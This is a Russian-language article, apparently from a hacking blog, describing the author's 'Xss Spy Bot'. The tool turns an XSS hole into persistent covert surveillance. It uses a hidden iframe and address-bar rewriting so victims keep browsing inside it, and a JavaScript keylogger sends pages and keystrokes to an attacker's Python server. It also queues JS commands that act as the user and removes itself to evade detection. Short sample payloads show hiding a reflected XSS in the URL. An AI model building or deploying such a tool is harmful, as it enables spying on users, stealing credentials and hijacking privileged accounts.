уязвимостей Web-сайтов и определенных приложений (например, межсайтовый скриптинг) на сайте. Для полной онлайн-защиты также жизненно важно установить межсетевой экран, который может обнаруживать и блокировать любой тип манипуляций с кодом и данными, располагающимися на Web-серверах или за ними.

Всем давно известно, что чаще всего c помощью XSS атакующий пытается отправить Cookie жертвы, прочитать CSRF токены, провести фишинговую атаку (создав фальшивую форму логина), совершить какое-нибудь действие от имени пользователя и некоторые другие близкие по цели атаки (возможно, это не все возможности, но это все наиболее популярные известные мне на данный момент).

Цель этого метода — мониторить страницы от имени пользователя, по которым он переходит на атакуемом сайте, а также мониторить его нажатия клавиш (можно еще движения и клики мышкой, но по мне так это будет лишней, не особо полезной инфой, в большинстве случаев точно).
Теперь по поводу максимальной пользы — я считаю, что алгоритм будет такой:

• читаем и отправляем Cookie;
• читаем и отправляем остальную инфу (IP-адрес, установленные плагины, версия и вид браузера, поддержка flash, поддержка silverlight и пр.) [опционально]
• добываем сведение о внутренней сети, пробиваем роутер [опционально]
• читаем и отправляем разные токены [опционально];
• реализовываем фишинг [опционально];
• делаем что-то «руками»» юзера [опционально];
• продолжаем шпионить за ним и добывать инфу, пока он не закрыл вкладку или не ушел с сайта;

Все опциональные пункты списка имхо должны выполняться в зависимости от ситуации и конкретных приоритетах в целях, которых надо достичь при помощи XSS, они иногда могут мешать друг другу (если попытаться их скомбинировать, точнее выполнить один за другим) и увеличивают вероятности провала эксплуатации XSS.
Но вот первый и последний пункты выполнять стоит всегда, при любом раскладе.Собственно основная часть статьи будет про последний пункт из этого списка.

Подходим к цели.

Начну издалека: через JavaScript есть возможность изменять путь в адресной строке без перезагрузки страницы. Например, если пользователь загрузил страницу по адресу

То в адресной строке содержание станет следующим (без перезагрузки страницы):

http : //site.com/new-url/

Эта возможность, кстати, иногда бывает довольно полезной, когда от пользователей (или более внимательной категории юзеров — админов) надо скрыть быстро почистить URL после того, как он перешел по ссылке, где содержалась Reflected XSS, чтобы он потом, после загрузки страницы, посмотрев в адресную строку, ничего не обнаружил.

http : //site.com/search.php?q=123 document . body . innerHTML += "Hacked" ;

http : //site.com/search.php?q=123 window . history . pushState ("" , "" , "/" ) ; document . body . innerHTML += "Hacked" ;

мы лишим его этой возможности.

Но у этой техники есть еще более интересное и мощное применение. Мы будем имитировать юзеру его пребывание на сайте после перехода по ссылке, на самом деле он будет оставаться на одной странице все время, а в это время будет работать сторонний скрипт, добывающий и отсылающий инфу атакующему. Таким образом,XSS будет работать на протяжении всего времени, пока юзер переходит по ссылка на этом домене .

Обозначаем идею.

Общий принцип работы такой: когда юзер заходит на страницу с XSS, скрипт создает iframe с таким же адресом, как это страница и «прикрепляет» его на первый план, у пользователя создается впечатление, будто страница загрузилась нормально, ведь iframe можно увидеть только в коде страницы.

А вспомогательный скрипт контролирует логику бота-шпиона, то есть следит за тем, когда во фрейме поменяется адрес, чтобы поменять его в адресной строке, если же в новоизмененном адресе фрейма другой домен, то можно открыть его на новой влкадке, или же придется перезагружать страницу, чтобы не спалиться.
Таким образом, чтобы XSS перестала выполняться в данный момент, юзер должен или обновить страницу вручную (если XSS — Reflected и передавалась методом POST, в остальных случаях обновление не спасет, и кстати некоторые браузеры сейчас при обновлении старницы могут опять отправить POST запрос повторно) или закрыть вкладку или перейти на другой домен (хотя в этом случае еще можно избежать потери управления).

Если он переходит в поддомент атакуемого домена, то тут выбор атакующего, то есть XSS будет работать, но есть небольшая вероятность, что юзер просечет несоответствие между адресом. Думаю, что тут по ситуации, например, если атаковался домен google.ru, юзер перешел в облачный файловый сервис гугла, который обычно лежит в поддомене drive.google.ru, то вероятность того, что он заметит подвох при взгляде в адресную строку довольно высока,если он часто пользовался этим сервисом . Иначе можно и рискнуть. Но надо учесть, что читать его данные из фрейма с поддоменом мы уже не сможем, так как Cross Origin Policy не позволит. Зато можем преспокойно полазить по основному домену от его имени в скрытом режиме (нижу будет об этом поподробнее).

Только у данного метода есть ограничения, а именно — он не будет работать, если в ответах веб-сервера сайта есть заголовокX-Frame-Options со значениемDENY . Но лично я такие сайты встречал буквально пару раз, сейчас даже у половиныSAMEORIGIN не выставлен, не говоря уже о полном ограничении черезDENY .

Анализируем идею.

Сейчас многие наверняка вспомнили такую замечательную штуку, какBeEF , в котором есть тоже очень много интересных вещей. Так кстати тоже есть опция форсированного редиректа юзера во фрейме, вот только адрес в адресной строке не изменяется, что может быстро спалить конторку и эта опция немного для других целей служит.
В целом в BeEF’e есть почти все, что необходимо и даже много дополнительных функций, но лично мне хотелось дополнительного функционала, а именно:

• возможность мониторить код страниц, которые доступны атакуемому юзеру в реальном времени;
• возможность смотреть все, что он набирает на том сайте (от логина и пароля, до хоткейев и сообщений), то есть keylogger на JS;
• возможность давать команды на JS своему боту в реальном времени, после просмотра кода полученных страниц;
• возможность оставлять боту команды локально, чтобы он потом их «забирал» и выполнял без прямого нашего участия;
• более маленькая вероятность спалиться боту, или возможность бота «прятаться» от любопытных глаз;

Как было упомянуто выше — решил позаимствовать у BeEF’a классную идею очереди выполнения комманд. Например, были проанализированы страницы, которые скинул бот, когда привелегированный юзер лазил у себя в панеле управления со stored XSS, мы оставляем боту команды — JS-код, типа в следующий раз когда юзер зайдет, нажми эту кнопку, запиши сюда такое значение и тд, когда этот юзер в следующий раз заходит на страницу, бот читает команды и выполняет их, а нам во все не обязательно быть у его штурвала — очень удобно.

В основном такой бот, конечно расчитан для статусных юзеров каких-нибудь сайтов, у которых есть дополнительные «рычаги» управления контентом, другими юзерами и тд. Из запросов по функционалу видно, что без серверной части не обойтись.

Реализуем идею.

Данную часть статьи в принципе можно пропустить, так как она просто описывает процесс реализации нужного бота и некоторые его детали, на случай, если кто-то захочет его переделать или допилить под себя. Хотя у бота в начале кода будут переменные, через которые можно выставить некоторые настройки.
Сначала алгоритм действий бота с момента загрузки:

1) Проверка наличия заголовкаX-Frame-Options:DENY (если есть, то свертываем удочки);
2) Встраивание фрейма и настройка всех компонентов бота;
3) Удаление скрипта и всех следов в HTML-коде;
4) Налаживание контакта с сверверной частью и начало перессылки данными, реагируя на ответы (получая от сервера команды);

Первый пункт сделал не совсем полноценно, то есть бот проверяет только первую страницу и корневую заголовка. Дело в том, что обычно эти заголовки встраиваются веб-сервером и для всех страниц сразу и очень редко, что для отдельной страницы все делается «вручную». Да и этот заголовок сам по себе довольно редок. Ну а по второму и третьему особо говорить нечего, ниже все будет.

Есть относительно важный момент, что перед добавлением кода скрипта бота в своем коде надо избавляться от признаков XSS в адресной строке сразу (от JS кода), так как это уменьшает шансы на обнаружение и самое галвное — предотвращает рекурсию, которая возникает при добавлении во фрейм адреса с тем же XSS кодом, который в свою очередь создает еще один фрейм с собой и тд.

Но на всякий случай в коде бота реализована возможность детекта такой фреймовой рекурсии и предотвращения при первой же попытке добавления фрейма в уже созданный, но лучше не надеятся только на нее, а дополнительно удалять код перед загрузкой кода бота. Хотя я проблем еще не встречал.

Функция проверки обновления фрейма. Перепробовал несколько способов экономно решить эту проблему с помощью вешания обработчиков событий наcontentWindow илиcontentDocument , но ничего не удалось, поэтому пришлось писать функцию, которая чекала бы адрес фрейма и сравнивала его с сохраненным до этого, и на основе этого решала, обновиляется ли фрейм (изменился ли адрес) и потом сама себя рекурсивно вызывала.

Частота таких проверок в секунду регулируется переменнойdelay , которая указана в начале файла кода бота. Но позже, уже написав ее, нашел более эффективное решение — использовать простое решение и повеситьonload на фрейм, так что ту функцию я оставил, но закомментировал, на случай, если она потом окажется более востребованной.

Отправка HTML-кода страницы.

Тут схема довольно простоя — после каждой перезагразуки фрейма (включая перую прогрузку) бот отправляет на сервер весь HTML-код страницы вместе с текущем ее адресом, чтобы потом можно было отличать принадлежность кода к нужным страницам.

На сервере реализована логика складирования страниц — сервер для каждого домена создает папку с названием этого домена и туда сохраняем все данные. Коды страниц сохраняются и постоянно обновляются на актуальные версии, но при этом каждый новый день создается уже новая копия страницы, чтобы можно было при необходимости контролировать историю версий. То есть для/news.php 1 сентября состояние будет обновляться, а уже 2 сентября будет создана ее копия, только актуальная уже на этот день и так с каждым днем заново (если юзер посещает эту страницу каждый день). Название страницы состоит из даты и путя до этой страницы относительно корня сайта (то есть без домена).

Кейлоггер на JavaScript’e.

Идея уже была реализована некоторыми энтузиастами, но для меня их наработки не подходили, хотя бы потому что большинство из них были довольно простыми, то есть детектили код нажатой клавиши и черезString.fromCharCode переводили в символы. Но у такого метода ряд недостатков — управляющие клавиши типа шифта, контрола, пробела и пр, не переводятся ни в какой вид (часто просто в пустой символ), взаимодействие цифро-буквенных клавиш с шифтом некорректно логируется, так как это надо реализовывать программно, а также все нажатые клавиши отображаются в верхнем регистре, что тоже исправлять программно.

В итоге получился кейлоггер, который корректно детектил все клавиши цифр, букв и основных знаков, работая на обоих раскладках, реагирую на шифт и логгируя все основные специальные клавиши. Правда некоторые знаки (в верхней части цифрового ряда, которые печатаются при нажатом шифте и цифре), на некоторых машинах могут отличаться, так как были реализованы по основным стандартом, которые некоторым некоторые компании изменяют.
Каждая порция нажатых символов сохраняется у клиента до тех пор, пока текстовый элемент не потеряет фокус. Далее эта порция отправляется на сервер, где сохраняется в текстовом файле, который также будет создаваться каждый день с новой копией, чтобы не было роста до больших размеров и можно было быстро найти, что юзер набирал в такое время.
По мимо самих клавиш на сервер отправляется с каждой порцией информация об элементе, в котором набирался текст (то есть был ли это, [ или какой-нибудь когда юзер пользовался хоткеями), помимо названия элемента отправляется его основные данные (id, name, class — если они пристутствуют), чтобы его потом можно было легко найти в коде. Ну и конечно же записывается адрес страницы, на которой был набор и примерное время этого набора. В общем информации о стучании юзера по клавиатуре отправляется вполне достаточно для последующего ее разбора.

Командование своим ботом.

Этот процесс может осуществляться атакующим или на стороне, где запущет серверная часть бота или даже удаленно. После запуска серверного скрипта, стартует самописный миниатюрный веб-сервер, который обслуживает запросы бота и его контролера, который работает через веб-интерфейс. То есть после запуска веб-сервер выдает ссылку, зайдя по которой можно начать отдавать команды боту.

Об этой панеле управления. Во-превых, надо было ограничить ее паролем (путь и мало кто будет знать о запущенном сервисе на таком-то порту или об адресе, по которому надо зайти, чтобы этим сервисом воспользоваться), так что при первом заходе сервер запросит пароль, который подается в адресной строке (пример будет указан), подлинник пароля храниться вpassword.txt , который можно поменять. После первого захода веб-сервер даст команду браузеру сохранить пароль в cookie, так что дальше об этом можно не беспокоиться.

На самой странички высылания команд боту находится также информация о состоянии бота — онлайн или оффлайн он на данный момент, и пару настроек, первая из которых — хост, то есть IP-адрес или домен сайта, боту которого будут отправлены команды. Это расчитано на случай, если несколько сайтов будут содержать этого бота, чтобы можно было их идентифицировать. На сервере также для этого случая все данные разделены по папкам с названиями доменов.
Далее идет окно, где писать команды боту на JS, и опция, которыя устанавливает, где будет исполняться этот JS-код, на главном окне, где сидит бот или во фрейме — это сделано для удобстве, на всякий случай.

Если бота онлайн нет, то сервер просто сохраняет команды и позже, когда бот выходит в онлайн, то есть юзер снова посещает страничку с ним или переходит по ссылке атакующего — эти команды будут исполнены.
Это очень удобно, если при первой разведке бот скинул все посещенные юзером страницы (например личного кабинета), изучив код которых мы составили команды на JS, чтобы потом бот щелкнул по нужным нам ссылкам, ввел нужные данные, отобразил нужные картинки и пр, что поможет достичь поставленной цели.

А можно прямо в режиме реального вермени, быстро смотреть содержимое страниц через код и отдавать боту команды, чтобы тот прислал код других страниц, перешел по другому адресу и пр. И все это будет делаться «за ширмой» у юзера, который преспокойно будет серфить по сайту чере фрейм.

Для своего удобства можно формировать наиболее часто используемые инструкции в целые функции на JS, которые потом заносить в исходный файл боты (xsb.js , о файловой структуре еще будет ниже) и использовать. Или использовать уже те из функций, который заложены в бота, правда там только основа и ничего нового нет, но например можно воспользоваться функцией отправки кода страницы в любой момент времени, а не тогда, когда перезагружается фрейм. Можно написать функцию, которая будет открывать передаваемые ей ссылки в новых фреймах на заднем плане, чтобы просматривать содержимое стразу нескольких страничек от имени юзера (и оперировать этим содержимое его виртуальными руками).

Удаление собственного кода.

Ну и последняя возможность реализуется довольно просто (ее можно отключить, задав нужную переменную в файле, они откомментированы). Скрипт, после настройки и вешания всех обработчиков событий, создания всех переменных и функций сам себя удаляет

Ведь все данные уже были загружены в оперативную память через браузер, так что беспокоиться не о чем, но это в теории, может потом и будут какие-то проблемы, которые я не учел, так что я воздал переменну, которой можно отключить эту возможность по необходимости.

После удаления всех скриптов заметить XSS будет крайне сложно, так как наличия фрейма ни говорит об это довольно косвенно, а сам код можно найти разве что в логах истории сетевого трафика браузера (которые не ведуться по умолчению во многих браузерах, если не открыта панель разработчика).

Серверная часть.

Для более простого и удобного способа запуска бота было решено писать свой маленький веб-сервер на сокетах, который бы обслуживал бота, обеспечивал все операции по принятию и размещению присланных данных, передавал бы сообщения между атакующим и ботом и создавал бы атакующему веб-интерфейс для командования.
Писался сервер на питоне, я тарался использовать только стандартные библиотеки, чтобы не надо было ничего устанавливать перед запуском. Также сервер сам правит некоторые данные в скриптах, то есть в JS-скрипте бота не надо устанавливать адрес командующего сервера, веб-сервер сам выставит туда нужный при запуске. В конфигурирвоании сервера есть толкьо один параметр — порт, на котором он запуститься (по умолчанию 8000).
После запуска сервер выдаст все необходимые данные — ссылку на JS-скрипт, которую надо будет подсунуть, ссылку на панель командования, точнее ссылки — на внешний и локальный адреса, для удобства.

Схема работы с ботом.

Запускаем сервер на каком-нибудь невостребованном порту и можно рассылать ссылку со скриптом бота, далее все, кто по ней перейдут будут отсылать вам данные, которые сервер будет сохранять в любое время дня. Потом можно просто их просмотреть, если есть необходимость оставить боту команды и дальше заниматься своими делами.

Файловая структура.

В папке есть следующие файлы:

• xsb.py — основной файл, который реализует серверную часть, для работы бота запускить его, а дальше просто использовать предлагаемую им ссылку;
• xsb.js — здесь храниться JS код бота, ссылку на который выдает сервер, в его начале объявлены конфигурационные переменные, которые можно изменить по своему усмотрению (некоторые, а именно хост и порт сервер выставит потом сам, можно не париться);
• panel.html — отсюда сервер берет код для панели управления ботом, можно подправить интерфейс на свое усмотрение;
• password.txt — тут храниться пароль от панели управления, которые можно поменять;
• savedData — это директория, в которой будут создаваться папки с доменами сайтов, в которые будет сохраняться вся информация.

Еще раз замечу, что в файлеxsb.js можно добавлять свои функции, которые потом вызывать через панель, не расписывая громадные порции кода;

Небольшой анализ итогов.

После написания свое придуманного способа удержания юезра на странице с XSS через фреймы (ну как придуманного — я его лично для себя открыл, вполне возможно, что кто-то еще для себя эту же технику «изобретал» или она вообще уже где-то в паблике светилась, ведь сейчас уже разработать что-то по-настоящему новое довольно сложно, и как правило через какое-то время обнаруживаешь, что «это уже было в Симпсонах») я начал более детально копаться в BeEF’e и читать его wiki. После чего обнаружил, что там была реализована другая техника достижения той же цели — продления времени польователя на странице с исполняемой XSS (которую там именовалиman-in-the-browser ). А реализовывалась так: все ссылки на первоначальной странице изменялись таким образом, что при клике на любую из них скрипт не перезагружал страницу, а через Ajax отправлял запрос на сервер и вставлял полученные в ответе данные, то есть можно сказать искуственно обновлял ее, что было также почти неотличимо от обычного рефреша.

Поэтому мне не первому удалось эту задумку реализовать (пусть даже и способы оказались разными). Но у обоих этих методов есть свои недостатки:

Способ подгрузки через не работает при наличии заголовка в ответеX-Frame-Options:DENY , зато в остальном пашет, как обычное окно браузера;

Способ подругзки через ajax работает всегда, если браузер поддерживает это (сейчас все основные барузеры поддерживают), но при этом с новым стандартом Web 2.0 все больше и больше переходов инициируется кастомными событиями любых элементов через JS. Однажды зашел наGoogle AdWords и решил посмотреть, как там у них HTML и JS взаимодействуют, потому что все мои спайдеры крайне плохо справлялись с созаднием карты этого сервиса. И я тихо охреневал весь вечер, насколько там все не привычно было, когда текстовые элементы являлись и кнопками и свитчерами и слайдерами и чем только не изображались, и на каждом висело где-то по 30 обработчиков разных событий.

То есть на навороченном сайте кнопка перехода (субъективно ссылка) будет реализована через обычный тег , который нагружен стилями и на которого навешано обработчиков событий, один из которых, например,onclick перенаправляет юзера на другую страницу. Также есть стандартные элементы типа [i] или сам и пр., которые тоже фактически являются ссылками на другие страницы, но на которые BeEF реагировать не будет и страница просто не будет обновляться при клике на большинство кнопок и других элементов. Что может побудить пользователя обновить страницу или перезайти «с другой стороны», что убивает нашу активную XSS-сессию.

Для краткости именования файлов назвал его — Xss Spy Bot.

P.S.
Все это дело писалось чуть больше месяца в силу периодической нехватки времени и постоянных отвлекающих факторов. Так же из-за этого и качетсво кода и вероятность нарваться на какой-нибудь баг довольно высока. Так что прошу особо не ругаться, а отписываться, что у кого не так, чтобы можно было это исправить.
Сам я протестировал бота только на 4 машинах, на всех стоял Debian.

В дальних планах на этого бота, если будет мотивация:
— реализовать рендеринг кода страниц, которые бот присылает на сервер, чтобы сразу в браузере открывался и его можно было «щупать», тестить на лету;
— попробоват словить плюшек с технологии WebRTC, то есть найти способы добыть новую информацию, которая чистым JS не вытягивается;
— реализовать общение бота и сервера по протоколу WebSocket поверх HTTP;
— добавить некоторые удобства на панель управления;

Last updated by at Ноябрь 18, 2016 .